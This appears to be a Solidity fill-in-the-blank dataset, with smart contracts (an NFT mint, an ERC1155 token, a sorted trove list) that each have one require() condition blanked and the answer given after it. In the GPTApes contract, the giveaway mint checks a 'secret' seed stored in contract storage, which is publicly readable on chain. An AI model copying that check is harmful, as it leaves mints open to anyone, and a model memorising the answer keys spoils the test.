emit Minted(msg.sender, quantity);
}
/// @notice Function used for the giveaway mint
/// @param quantity Amount to mint.
function GiveawayMint(uint64 quantity, string calldata sign) external payable checkState(SaleStates.PUBLIC){
}
/// @notice Fail-safe withdraw function, incase withdraw() causes any issue.
/// @param receiver address to withdraw to.
function withdrawTo(address receiver) public onlyOwner {
}
/// @notice Function used to change mint public price.
/// @param newPublicPrice Newly intended `publicPrice` value.
/// @dev Price can never exceed the initially set mint public price (0.069E), and can never be increased over it's current value.
function setRound(uint256 _maxFreeMint, uint256 _maxGiveawayMint, uint64 newMaxWallet, uint256 newPublicPrice, uint256 newGiveawayPrice) external onlyOwner {
}
function setGiveawayState(bool _state) external onlyOwner {
}
/// @notice Function used to check the number of tokens `account` has minted.
/// @param account Account to check balance for.
function balance(address account) external view returns (uint256) {
}
/// @notice Function used to view the current `_baseTokenURI` value.
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Sets base token metadata URI.
/// @param baseURI New base token URI.
function setBaseURI(string calldata baseURI) external onlyOwner {
}
/// @notice Function used to change the current `saleState` value.
/// @param newSaleState The new `saleState` value.
/// @dev 0 = CLOSED, 1 = PUBLIC
function setSaleState(uint256 newSaleState) external onlyOwner {
}
/// @notice Verifies the current state.
/// @param saleState_ Sale state to verify.
modifier checkState(SaleStates saleState_) {
}
function setPhrase(string calldata _phrase) external onlyOwner {
}
function freeMintedCount(address owner) external view returns (uint256) {
}
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) public view override(ERC721A, IERC721A) returns (string memory) {
}
}
| quantity<=(maxFreeMint-freeMintCount),"Invalid amount of free mint" | 233,584 | quantity<=(maxFreeMint-freeMintCount) |
"Wallet limit exceeded" | /*
GPTA:
?P~5GG5?~
!J^~JG5?^
.Y&&#Y
7Y55J
...:..!J?.
.:.::...:!:
....:......
.::...:::...
.^::!BJ!~::::
.:~B&G55J5~^~.
:P#P??!77BB5
.^~~~::^^^~:.
.^^: ..::^.
... .:.
.:. .
~P~ .. .:.
.PP57 ::^^?J:
.:!J~ :JB5^7^
:?:
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "Ownable.sol";
import "ECDSA.sol";
import "ERC721A.sol";
interface INft is IERC721A {
error InvalidSaleState();
error NonEOA();
error WithdrawFailedVault();
}
contract GPTApes is INft, Ownable, ERC721A {
using ECDSA for bytes32;
enum SaleStates {CLOSED, PUBLIC}
SaleStates public saleState;
uint256 public maxSupply = 10000;
uint256 public publicPrice = 0.005 ether;
uint256 public GiveawayPrice = 0 ether;
uint64 public WALLET_MAX = 100;
uint256 public maxFreeMint = 1;
uint256 public maxGiveawayMint = 3;
string private _baseTokenURI = "";
string private baseExtension = ".json";
bool public pausedGiveaway = false;
string private seed = '7168484740775753454372592524734663322';
string private phrase = '';
event Minted(address indexed receiver, uint256 quantity);
event SaleStateChanged(SaleStates saleState);
mapping(address => uint256) private _freeMintedCount;
constructor() ERC721A("GPT-Apes", "GPTA") {}
/// @notice Function used during the public mint
/// @param quantity Amount to mint.
/// @dev checkState to check sale state.
function Mint(uint64 quantity) external payable checkState(SaleStates.PUBLIC){
uint256 price = publicPrice;
uint256 freeMintCount = _freeMintedCount[msg.sender];
require(quantity<=(maxFreeMint-freeMintCount), "Invalid amount of free mint");
if(quantity<=(maxFreeMint-freeMintCount)){
price=0;
_freeMintedCount[msg.sender] += quantity;
}
require(msg.value >= quantity * price, "Invalid ether amount");
require(<FILL_ME>)
require(_totalMinted() + quantity <= maxSupply, "Supply exceeded");
_mint(msg.sender, quantity);
emit Minted(msg.sender, quantity);
}
/// @notice Function used for the giveaway mint
/// @param quantity Amount to mint.
function GiveawayMint(uint64 quantity, string calldata sign) external payable checkState(SaleStates.PUBLIC){
}
/// @notice Fail-safe withdraw function, incase withdraw() causes any issue.
/// @param receiver address to withdraw to.
function withdrawTo(address receiver) public onlyOwner {
}
/// @notice Function used to change mint public price.
/// @param newPublicPrice Newly intended `publicPrice` value.
/// @dev Price can never exceed the initially set mint public price (0.069E), and can never be increased over it's current value.
function setRound(uint256 _maxFreeMint, uint256 _maxGiveawayMint, uint64 newMaxWallet, uint256 newPublicPrice, uint256 newGiveawayPrice) external onlyOwner {
}
function setGiveawayState(bool _state) external onlyOwner {
}
/// @notice Function used to check the number of tokens `account` has minted.
/// @param account Account to check balance for.
function balance(address account) external view returns (uint256) {
}
/// @notice Function used to view the current `_baseTokenURI` value.
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Sets base token metadata URI.
/// @param baseURI New base token URI.
function setBaseURI(string calldata baseURI) external onlyOwner {
}
/// @notice Function used to change the current `saleState` value.
/// @param newSaleState The new `saleState` value.
/// @dev 0 = CLOSED, 1 = PUBLIC
function setSaleState(uint256 newSaleState) external onlyOwner {
}
/// @notice Verifies the current state.
/// @param saleState_ Sale state to verify.
modifier checkState(SaleStates saleState_) {
}
function setPhrase(string calldata _phrase) external onlyOwner {
}
function freeMintedCount(address owner) external view returns (uint256) {
}
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) public view override(ERC721A, IERC721A) returns (string memory) {
}
}
| (_numberMinted(msg.sender)-_getAux(msg.sender))+quantity<=WALLET_MAX,"Wallet limit exceeded" | 233,584 | (_numberMinted(msg.sender)-_getAux(msg.sender))+quantity<=WALLET_MAX |
"Giveaway Paused" | /*
GPTA:
?P~5GG5?~
!J^~JG5?^
.Y&&#Y
7Y55J
...:..!J?.
.:.::...:!:
....:......
.::...:::...
.^::!BJ!~::::
.:~B&G55J5~^~.
:P#P??!77BB5
.^~~~::^^^~:.
.^^: ..::^.
... .:.
.:. .
~P~ .. .:.
.PP57 ::^^?J:
.:!J~ :JB5^7^
:?:
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "Ownable.sol";
import "ECDSA.sol";
import "ERC721A.sol";
interface INft is IERC721A {
error InvalidSaleState();
error NonEOA();
error WithdrawFailedVault();
}
contract GPTApes is INft, Ownable, ERC721A {
using ECDSA for bytes32;
enum SaleStates {CLOSED, PUBLIC}
SaleStates public saleState;
uint256 public maxSupply = 10000;
uint256 public publicPrice = 0.005 ether;
uint256 public GiveawayPrice = 0 ether;
uint64 public WALLET_MAX = 100;
uint256 public maxFreeMint = 1;
uint256 public maxGiveawayMint = 3;
string private _baseTokenURI = "";
string private baseExtension = ".json";
bool public pausedGiveaway = false;
string private seed = '7168484740775753454372592524734663322';
string private phrase = '';
event Minted(address indexed receiver, uint256 quantity);
event SaleStateChanged(SaleStates saleState);
mapping(address => uint256) private _freeMintedCount;
constructor() ERC721A("GPT-Apes", "GPTA") {}
/// @notice Function used during the public mint
/// @param quantity Amount to mint.
/// @dev checkState to check sale state.
function Mint(uint64 quantity) external payable checkState(SaleStates.PUBLIC){
}
/// @notice Function used for the giveaway mint
/// @param quantity Amount to mint.
function GiveawayMint(uint64 quantity, string calldata sign) external payable checkState(SaleStates.PUBLIC){
require(<FILL_ME>)
require(keccak256(bytes(sign)) == keccak256(abi.encodePacked(seed,phrase)), "Invalid Signature");
uint256 freeMintCount = _freeMintedCount[msg.sender];
require((_numberMinted(msg.sender) - _getAux(msg.sender)) + quantity <= WALLET_MAX, "Wallet limit exceeded");
require((_totalMinted() + quantity) <= maxSupply, "Supply Exceeded");
require((quantity + freeMintCount) <= maxGiveawayMint, "Giveaway Limit Exceeded");
require(msg.value >= quantity * GiveawayPrice, "Invalid Ether Amount");
_freeMintedCount[msg.sender] = freeMintCount + quantity;
_mint(msg.sender, quantity);
emit Minted(msg.sender, quantity);
}
/// @notice Fail-safe withdraw function, incase withdraw() causes any issue.
/// @param receiver address to withdraw to.
function withdrawTo(address receiver) public onlyOwner {
}
/// @notice Function used to change mint public price.
/// @param newPublicPrice Newly intended `publicPrice` value.
/// @dev Price can never exceed the initially set mint public price (0.069E), and can never be increased over it's current value.
function setRound(uint256 _maxFreeMint, uint256 _maxGiveawayMint, uint64 newMaxWallet, uint256 newPublicPrice, uint256 newGiveawayPrice) external onlyOwner {
}
function setGiveawayState(bool _state) external onlyOwner {
}
/// @notice Function used to check the number of tokens `account` has minted.
/// @param account Account to check balance for.
function balance(address account) external view returns (uint256) {
}
/// @notice Function used to view the current `_baseTokenURI` value.
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Sets base token metadata URI.
/// @param baseURI New base token URI.
function setBaseURI(string calldata baseURI) external onlyOwner {
}
/// @notice Function used to change the current `saleState` value.
/// @param newSaleState The new `saleState` value.
/// @dev 0 = CLOSED, 1 = PUBLIC
function setSaleState(uint256 newSaleState) external onlyOwner {
}
/// @notice Verifies the current state.
/// @param saleState_ Sale state to verify.
modifier checkState(SaleStates saleState_) {
}
function setPhrase(string calldata _phrase) external onlyOwner {
}
function freeMintedCount(address owner) external view returns (uint256) {
}
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) public view override(ERC721A, IERC721A) returns (string memory) {
}
}
| !pausedGiveaway,"Giveaway Paused" | 233,584 | !pausedGiveaway |
"Invalid Signature" | /*
GPTA:
?P~5GG5?~
!J^~JG5?^
.Y&&#Y
7Y55J
...:..!J?.
.:.::...:!:
....:......
.::...:::...
.^::!BJ!~::::
.:~B&G55J5~^~.
:P#P??!77BB5
.^~~~::^^^~:.
.^^: ..::^.
... .:.
.:. .
~P~ .. .:.
.PP57 ::^^?J:
.:!J~ :JB5^7^
:?:
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "Ownable.sol";
import "ECDSA.sol";
import "ERC721A.sol";
interface INft is IERC721A {
error InvalidSaleState();
error NonEOA();
error WithdrawFailedVault();
}
contract GPTApes is INft, Ownable, ERC721A {
using ECDSA for bytes32;
enum SaleStates {CLOSED, PUBLIC}
SaleStates public saleState;
uint256 public maxSupply = 10000;
uint256 public publicPrice = 0.005 ether;
uint256 public GiveawayPrice = 0 ether;
uint64 public WALLET_MAX = 100;
uint256 public maxFreeMint = 1;
uint256 public maxGiveawayMint = 3;
string private _baseTokenURI = "";
string private baseExtension = ".json";
bool public pausedGiveaway = false;
string private seed = '7168484740775753454372592524734663322';
string private phrase = '';
event Minted(address indexed receiver, uint256 quantity);
event SaleStateChanged(SaleStates saleState);
mapping(address => uint256) private _freeMintedCount;
constructor() ERC721A("GPT-Apes", "GPTA") {}
/// @notice Function used during the public mint
/// @param quantity Amount to mint.
/// @dev checkState to check sale state.
function Mint(uint64 quantity) external payable checkState(SaleStates.PUBLIC){
}
/// @notice Function used for the giveaway mint
/// @param quantity Amount to mint.
function GiveawayMint(uint64 quantity, string calldata sign) external payable checkState(SaleStates.PUBLIC){
require(!pausedGiveaway, "Giveaway Paused");
require(<FILL_ME>)
uint256 freeMintCount = _freeMintedCount[msg.sender];
require((_numberMinted(msg.sender) - _getAux(msg.sender)) + quantity <= WALLET_MAX, "Wallet limit exceeded");
require((_totalMinted() + quantity) <= maxSupply, "Supply Exceeded");
require((quantity + freeMintCount) <= maxGiveawayMint, "Giveaway Limit Exceeded");
require(msg.value >= quantity * GiveawayPrice, "Invalid Ether Amount");
_freeMintedCount[msg.sender] = freeMintCount + quantity;
_mint(msg.sender, quantity);
emit Minted(msg.sender, quantity);
}
/// @notice Fail-safe withdraw function, incase withdraw() causes any issue.
/// @param receiver address to withdraw to.
function withdrawTo(address receiver) public onlyOwner {
}
/// @notice Function used to change mint public price.
/// @param newPublicPrice Newly intended `publicPrice` value.
/// @dev Price can never exceed the initially set mint public price (0.069E), and can never be increased over it's current value.
function setRound(uint256 _maxFreeMint, uint256 _maxGiveawayMint, uint64 newMaxWallet, uint256 newPublicPrice, uint256 newGiveawayPrice) external onlyOwner {
}
function setGiveawayState(bool _state) external onlyOwner {
}
/// @notice Function used to check the number of tokens `account` has minted.
/// @param account Account to check balance for.
function balance(address account) external view returns (uint256) {
}
/// @notice Function used to view the current `_baseTokenURI` value.
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Sets base token metadata URI.
/// @param baseURI New base token URI.
function setBaseURI(string calldata baseURI) external onlyOwner {
}
/// @notice Function used to change the current `saleState` value.
/// @param newSaleState The new `saleState` value.
/// @dev 0 = CLOSED, 1 = PUBLIC
function setSaleState(uint256 newSaleState) external onlyOwner {
}
/// @notice Verifies the current state.
/// @param saleState_ Sale state to verify.
modifier checkState(SaleStates saleState_) {
}
function setPhrase(string calldata _phrase) external onlyOwner {
}
function freeMintedCount(address owner) external view returns (uint256) {
}
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) public view override(ERC721A, IERC721A) returns (string memory) {
}
}
| keccak256(bytes(sign))==keccak256(abi.encodePacked(seed,phrase)),"Invalid Signature" | 233,584 | keccak256(bytes(sign))==keccak256(abi.encodePacked(seed,phrase)) |
"Supply Exceeded" | /*
GPTA:
?P~5GG5?~
!J^~JG5?^
.Y&&#Y
7Y55J
...:..!J?.
.:.::...:!:
....:......
.::...:::...
.^::!BJ!~::::
.:~B&G55J5~^~.
:P#P??!77BB5
.^~~~::^^^~:.
.^^: ..::^.
... .:.
.:. .
~P~ .. .:.
.PP57 ::^^?J:
.:!J~ :JB5^7^
:?:
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "Ownable.sol";
import "ECDSA.sol";
import "ERC721A.sol";
interface INft is IERC721A {
error InvalidSaleState();
error NonEOA();
error WithdrawFailedVault();
}
contract GPTApes is INft, Ownable, ERC721A {
using ECDSA for bytes32;
enum SaleStates {CLOSED, PUBLIC}
SaleStates public saleState;
uint256 public maxSupply = 10000;
uint256 public publicPrice = 0.005 ether;
uint256 public GiveawayPrice = 0 ether;
uint64 public WALLET_MAX = 100;
uint256 public maxFreeMint = 1;
uint256 public maxGiveawayMint = 3;
string private _baseTokenURI = "";
string private baseExtension = ".json";
bool public pausedGiveaway = false;
string private seed = '7168484740775753454372592524734663322';
string private phrase = '';
event Minted(address indexed receiver, uint256 quantity);
event SaleStateChanged(SaleStates saleState);
mapping(address => uint256) private _freeMintedCount;
constructor() ERC721A("GPT-Apes", "GPTA") {}
/// @notice Function used during the public mint
/// @param quantity Amount to mint.
/// @dev checkState to check sale state.
function Mint(uint64 quantity) external payable checkState(SaleStates.PUBLIC){
}
/// @notice Function used for the giveaway mint
/// @param quantity Amount to mint.
function GiveawayMint(uint64 quantity, string calldata sign) external payable checkState(SaleStates.PUBLIC){
require(!pausedGiveaway, "Giveaway Paused");
require(keccak256(bytes(sign)) == keccak256(abi.encodePacked(seed,phrase)), "Invalid Signature");
uint256 freeMintCount = _freeMintedCount[msg.sender];
require((_numberMinted(msg.sender) - _getAux(msg.sender)) + quantity <= WALLET_MAX, "Wallet limit exceeded");
require(<FILL_ME>)
require((quantity + freeMintCount) <= maxGiveawayMint, "Giveaway Limit Exceeded");
require(msg.value >= quantity * GiveawayPrice, "Invalid Ether Amount");
_freeMintedCount[msg.sender] = freeMintCount + quantity;
_mint(msg.sender, quantity);
emit Minted(msg.sender, quantity);
}
/// @notice Fail-safe withdraw function, incase withdraw() causes any issue.
/// @param receiver address to withdraw to.
function withdrawTo(address receiver) public onlyOwner {
}
/// @notice Function used to change mint public price.
/// @param newPublicPrice Newly intended `publicPrice` value.
/// @dev Price can never exceed the initially set mint public price (0.069E), and can never be increased over it's current value.
function setRound(uint256 _maxFreeMint, uint256 _maxGiveawayMint, uint64 newMaxWallet, uint256 newPublicPrice, uint256 newGiveawayPrice) external onlyOwner {
}
function setGiveawayState(bool _state) external onlyOwner {
}
/// @notice Function used to check the number of tokens `account` has minted.
/// @param account Account to check balance for.
function balance(address account) external view returns (uint256) {
}
/// @notice Function used to view the current `_baseTokenURI` value.
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Sets base token metadata URI.
/// @param baseURI New base token URI.
function setBaseURI(string calldata baseURI) external onlyOwner {
}
/// @notice Function used to change the current `saleState` value.
/// @param newSaleState The new `saleState` value.
/// @dev 0 = CLOSED, 1 = PUBLIC
function setSaleState(uint256 newSaleState) external onlyOwner {
}
/// @notice Verifies the current state.
/// @param saleState_ Sale state to verify.
modifier checkState(SaleStates saleState_) {
}
function setPhrase(string calldata _phrase) external onlyOwner {
}
function freeMintedCount(address owner) external view returns (uint256) {
}
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) public view override(ERC721A, IERC721A) returns (string memory) {
}
}
| (_totalMinted()+quantity)<=maxSupply,"Supply Exceeded" | 233,584 | (_totalMinted()+quantity)<=maxSupply |
"Giveaway Limit Exceeded" | /*
GPTA:
?P~5GG5?~
!J^~JG5?^
.Y&&#Y
7Y55J
...:..!J?.
.:.::...:!:
....:......
.::...:::...
.^::!BJ!~::::
.:~B&G55J5~^~.
:P#P??!77BB5
.^~~~::^^^~:.
.^^: ..::^.
... .:.
.:. .
~P~ .. .:.
.PP57 ::^^?J:
.:!J~ :JB5^7^
:?:
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "Ownable.sol";
import "ECDSA.sol";
import "ERC721A.sol";
interface INft is IERC721A {
error InvalidSaleState();
error NonEOA();
error WithdrawFailedVault();
}
contract GPTApes is INft, Ownable, ERC721A {
using ECDSA for bytes32;
enum SaleStates {CLOSED, PUBLIC}
SaleStates public saleState;
uint256 public maxSupply = 10000;
uint256 public publicPrice = 0.005 ether;
uint256 public GiveawayPrice = 0 ether;
uint64 public WALLET_MAX = 100;
uint256 public maxFreeMint = 1;
uint256 public maxGiveawayMint = 3;
string private _baseTokenURI = "";
string private baseExtension = ".json";
bool public pausedGiveaway = false;
string private seed = '7168484740775753454372592524734663322';
string private phrase = '';
event Minted(address indexed receiver, uint256 quantity);
event SaleStateChanged(SaleStates saleState);
mapping(address => uint256) private _freeMintedCount;
constructor() ERC721A("GPT-Apes", "GPTA") {}
/// @notice Function used during the public mint
/// @param quantity Amount to mint.
/// @dev checkState to check sale state.
function Mint(uint64 quantity) external payable checkState(SaleStates.PUBLIC){
}
/// @notice Function used for the giveaway mint
/// @param quantity Amount to mint.
function GiveawayMint(uint64 quantity, string calldata sign) external payable checkState(SaleStates.PUBLIC){
require(!pausedGiveaway, "Giveaway Paused");
require(keccak256(bytes(sign)) == keccak256(abi.encodePacked(seed,phrase)), "Invalid Signature");
uint256 freeMintCount = _freeMintedCount[msg.sender];
require((_numberMinted(msg.sender) - _getAux(msg.sender)) + quantity <= WALLET_MAX, "Wallet limit exceeded");
require((_totalMinted() + quantity) <= maxSupply, "Supply Exceeded");
require(<FILL_ME>)
require(msg.value >= quantity * GiveawayPrice, "Invalid Ether Amount");
_freeMintedCount[msg.sender] = freeMintCount + quantity;
_mint(msg.sender, quantity);
emit Minted(msg.sender, quantity);
}
/// @notice Fail-safe withdraw function, incase withdraw() causes any issue.
/// @param receiver address to withdraw to.
function withdrawTo(address receiver) public onlyOwner {
}
/// @notice Function used to change mint public price.
/// @param newPublicPrice Newly intended `publicPrice` value.
/// @dev Price can never exceed the initially set mint public price (0.069E), and can never be increased over it's current value.
function setRound(uint256 _maxFreeMint, uint256 _maxGiveawayMint, uint64 newMaxWallet, uint256 newPublicPrice, uint256 newGiveawayPrice) external onlyOwner {
}
function setGiveawayState(bool _state) external onlyOwner {
}
/// @notice Function used to check the number of tokens `account` has minted.
/// @param account Account to check balance for.
function balance(address account) external view returns (uint256) {
}
/// @notice Function used to view the current `_baseTokenURI` value.
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Sets base token metadata URI.
/// @param baseURI New base token URI.
function setBaseURI(string calldata baseURI) external onlyOwner {
}
/// @notice Function used to change the current `saleState` value.
/// @param newSaleState The new `saleState` value.
/// @dev 0 = CLOSED, 1 = PUBLIC
function setSaleState(uint256 newSaleState) external onlyOwner {
}
/// @notice Verifies the current state.
/// @param saleState_ Sale state to verify.
modifier checkState(SaleStates saleState_) {
}
function setPhrase(string calldata _phrase) external onlyOwner {
}
function freeMintedCount(address owner) external view returns (uint256) {
}
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) public view override(ERC721A, IERC721A) returns (string memory) {
}
}
| (quantity+freeMintCount)<=maxGiveawayMint,"Giveaway Limit Exceeded" | 233,584 | (quantity+freeMintCount)<=maxGiveawayMint |
"Only owner can mint!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
/**
* https://github.com/maticnetwork/pos-portal/blob/master/contracts/common/ContextMixin.sol
*/
abstract contract ContextMixin {
function msgSender()
internal
view
returns (address payable sender)
{
}
}
contract NAEOE is ContextMixin, ERC1155Supply, Ownable, Pausable {
string public name;
string public symbol;
string public contractBaseURI;
address private proxyAddress;
constructor(
string memory _baseUri,
string memory _baseContractURI,
string memory _name,
string memory _symbol
) ERC1155(_baseUri) {
}
// contract metadata for opensea.io
function contractURI() public view returns (string memory) {
}
function _msgSender()
internal
override
view
returns (address sender)
{
}
/**
* @dev set a new proxy address
**/
function setProxy(
address newProxy
) public onlyOwner {
}
/**
* @dev return the address of proxy
**/
function getProxy() public view returns (address) {
}
/**
* @dev mint token
**/
function mintMultiToken(
address _to,
uint256 _tokenId,
uint256 _amount
) public {
require(<FILL_ME>)
super._mint(_to, _tokenId, _amount, "");
}
/**
* @dev mint token (batch)
**/
function mintMultiToken(
address _to,
uint256[] memory _tokenIds,
uint256[] memory _amounts
) public {
}
/**
* @dev set token URI
**/
function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner {
}
/**
* @dev set contract metadata URI
**/
function setBaseContractURI(string memory _baseContractURI) public onlyOwner {
}
/**
* @dev burn token
**/
function burn(address account, uint256 id, uint256 amount) public onlyOwner {
}
/**
* @dev burn token (batch)
**/
function burn(address account, uint256[] memory ids, uint256[] memory amounts) public onlyOwner {
}
/**
* @dev pause token
**/
function pauseToken() public onlyOwner {
}
/**
* @dev unpause token
**/
function unpauseToken() public onlyOwner {
}
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
}
function uri(uint256 _tokenId) public view virtual override returns (string memory) {
}
function uint2str(uint256 _i) internal pure returns (string memory) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC1155)
returns (bool)
{
}
/**
* Override isApprovedForAll to auto-approve OS's proxy contract
* https://docs.opensea.io/docs/polygon-basic-integration
*/
function isApprovedForAll(
address _owner,
address _operator
) public override view returns (bool isOperator) {
}
}
| (_msgSender()==owner()),"Only owner can mint!" | 233,592 | (_msgSender()==owner()) |
"SortedTroves: List is full" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "./Interfaces/ISortedTroves.sol";
import "./Interfaces/ITroveManager.sol";
import "./Interfaces/IBorrowerOperations.sol";
import "./Dependencies/SafeMath.sol";
import "./Dependencies/Ownable.sol";
import "./Dependencies/CheckContract.sol";
/*
* A sorted doubly linked list with nodes sorted in descending order.
*
* Nodes map to active Troves in the system - the ID property is the address of a Trove owner.
* Nodes are ordered according to their current nominal individual collateral ratio (NICR),
* which is like the ICR but without the price, i.e., just collateral / debt.
*
* The list optionally accepts insert position hints.
*
* NICRs are computed dynamically at runtime, and not stored on the Node. This is because NICRs of active Troves
* change dynamically as liquidation events occur.
*
* The list relies on the fact that liquidation events preserve ordering: a liquidation decreases the NICRs of all active Troves,
* but maintains their order. A node inserted based on current NICR will maintain the correct position,
* relative to it's peers, as rewards accumulate, as long as it's raw collateral and debt have not changed.
* Thus, Nodes remain sorted by current NICR.
*
* Nodes need only be re-inserted upon a Trove operation - when the owner adds or removes collateral or debt
* to their position.
*
* The list is a modification of the following audited SortedDoublyLinkedList:
* https://github.com/livepeer/protocol/blob/master/contracts/libraries/SortedDoublyLL.sol
*
*
* Changes made in the Liquity implementation:
*
* - Keys have been removed from nodes
*
* - Ordering checks for insertion are performed by comparing an NICR argument to the current NICR, calculated at runtime.
* The list relies on the property that ordering by ICR is maintained as the ETH:USD price varies.
*
* - Public functions with parameters have been made internal to save gas, and given an external wrapper function for external access
*/
contract SortedTroves is Ownable, CheckContract, ISortedTroves {
using SafeMath for uint256;
string public constant NAME = "SortedTroves";
address public borrowerOperationsAddress;
ITroveManager public troveManager;
// Information for a node in the list
struct Node {
bool exists;
address nextId; // Id of next node (smaller NICR) in the list
address prevId; // Id of previous node (larger NICR) in the list
}
// Information for the list
struct Data {
address head; // Head of the list. Also the node in the list with the largest NICR
address tail; // Tail of the list. Also the node in the list with the smallest NICR
uint256 maxSize; // Maximum size of the list
uint256 size; // Current size of the list
mapping(address => Node) nodes; // Track the corresponding ids for each node in the list
}
Data public data;
// --- Dependency setters ---
function setParams(
uint256 _size,
address _troveManagerAddress,
address _borrowerOperationsAddress
) external override onlyOwner {
}
/*
* @dev Add a node to the list
* @param _id Node's id
* @param _NICR Node's NICR
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
*/
function insert(
address _id,
uint256 _NICR,
address _prevId,
address _nextId
) external override {
}
function _insert(
ITroveManager _troveManager,
address _id,
uint256 _NICR,
address _prevId,
address _nextId
) internal {
// List must not be full
require(<FILL_ME>)
// List must not already contain node
require(!contains(_id), "SortedTroves: List already contains the node");
// Node id must not be null
require(_id != address(0), "SortedTroves: Id cannot be zero");
// NICR must be non-zero
require(_NICR > 0, "SortedTroves: NICR must be positive");
address prevId = _prevId;
address nextId = _nextId;
if (!_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {
// Sender's hint was not a valid insert position
// Use sender's hint to find a valid insert position
(prevId, nextId) = _findInsertPosition(_troveManager, _NICR, prevId, nextId);
}
data.nodes[_id].exists = true;
if (prevId == address(0) && nextId == address(0)) {
// Insert as head and tail
data.head = _id;
data.tail = _id;
} else if (prevId == address(0)) {
// Insert before `prevId` as the head
data.nodes[_id].nextId = data.head;
data.nodes[data.head].prevId = _id;
data.head = _id;
} else if (nextId == address(0)) {
// Insert after `nextId` as the tail
data.nodes[_id].prevId = data.tail;
data.nodes[data.tail].nextId = _id;
data.tail = _id;
} else {
// Insert at insert position between `prevId` and `nextId`
data.nodes[_id].nextId = nextId;
data.nodes[_id].prevId = prevId;
data.nodes[prevId].nextId = _id;
data.nodes[nextId].prevId = _id;
}
data.size = data.size.add(1);
emit NodeAdded(_id, _NICR);
}
function remove(address _id) external override {
}
/*
* @dev Remove a node from the list
* @param _id Node's id
*/
function _remove(address _id) internal {
}
/*
* @dev Re-insert the node at a new position, based on its new NICR
* @param _id Node's id
* @param _newNICR Node's new NICR
* @param _prevId Id of previous node for the new insert position
* @param _nextId Id of next node for the new insert position
*/
function reInsert(
address _id,
uint256 _newNICR,
address _prevId,
address _nextId
) external override {
}
/*
* @dev Checks if the list contains a node
*/
function contains(address _id) public view override returns (bool) {
}
/*
* @dev Checks if the list is full
*/
function isFull() public view override returns (bool) {
}
/*
* @dev Checks if the list is empty
*/
function isEmpty() public view override returns (bool) {
}
/*
* @dev Returns the current size of the list
*/
function getSize() external view override returns (uint256) {
}
/*
* @dev Returns the maximum size of the list
*/
function getMaxSize() external view override returns (uint256) {
}
/*
* @dev Returns the first node in the list (node with the largest NICR)
*/
function getFirst() external view override returns (address) {
}
/*
* @dev Returns the last node in the list (node with the smallest NICR)
*/
function getLast() external view override returns (address) {
}
/*
* @dev Returns the next node (with a smaller NICR) in the list for a given node
* @param _id Node's id
*/
function getNext(address _id) external view override returns (address) {
}
/*
* @dev Returns the previous node (with a larger NICR) in the list for a given node
* @param _id Node's id
*/
function getPrev(address _id) external view override returns (address) {
}
/*
* @dev Check if a pair of nodes is a valid insertion point for a new node with the given NICR
* @param _NICR Node's NICR
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
*/
function validInsertPosition(
uint256 _NICR,
address _prevId,
address _nextId
) external view override returns (bool) {
}
function _validInsertPosition(
ITroveManager _troveManager,
uint256 _NICR,
address _prevId,
address _nextId
) internal view returns (bool) {
}
/*
* @dev Descend the list (larger NICRs to smaller NICRs) to find a valid insert position
* @param _troveManager TroveManager contract, passed in as param to save SLOAD’s
* @param _NICR Node's NICR
* @param _startId Id of node to start descending the list from
*/
function _descendList(
ITroveManager _troveManager,
uint256 _NICR,
address _startId
) internal view returns (address, address) {
}
/*
* @dev Ascend the list (smaller NICRs to larger NICRs) to find a valid insert position
* @param _troveManager TroveManager contract, passed in as param to save SLOAD’s
* @param _NICR Node's NICR
* @param _startId Id of node to start ascending the list from
*/
function _ascendList(
ITroveManager _troveManager,
uint256 _NICR,
address _startId
) internal view returns (address, address) {
}
/*
* @dev Find the insert position for a new node with the given NICR
* @param _NICR Node's NICR
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
*/
function findInsertPosition(
uint256 _NICR,
address _prevId,
address _nextId
) external view override returns (address, address) {
}
function _findInsertPosition(
ITroveManager _troveManager,
uint256 _NICR,
address _prevId,
address _nextId
) internal view returns (address, address) {
}
// --- 'require' functions ---
function _requireCallerIsTroveManager() internal view {
}
function _requireCallerIsBOorTroveM(ITroveManager _troveManager) internal view {
}
}
| !isFull(),"SortedTroves: List is full" | 233,618 | !isFull() |
"SortedTroves: List already contains the node" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "./Interfaces/ISortedTroves.sol";
import "./Interfaces/ITroveManager.sol";
import "./Interfaces/IBorrowerOperations.sol";
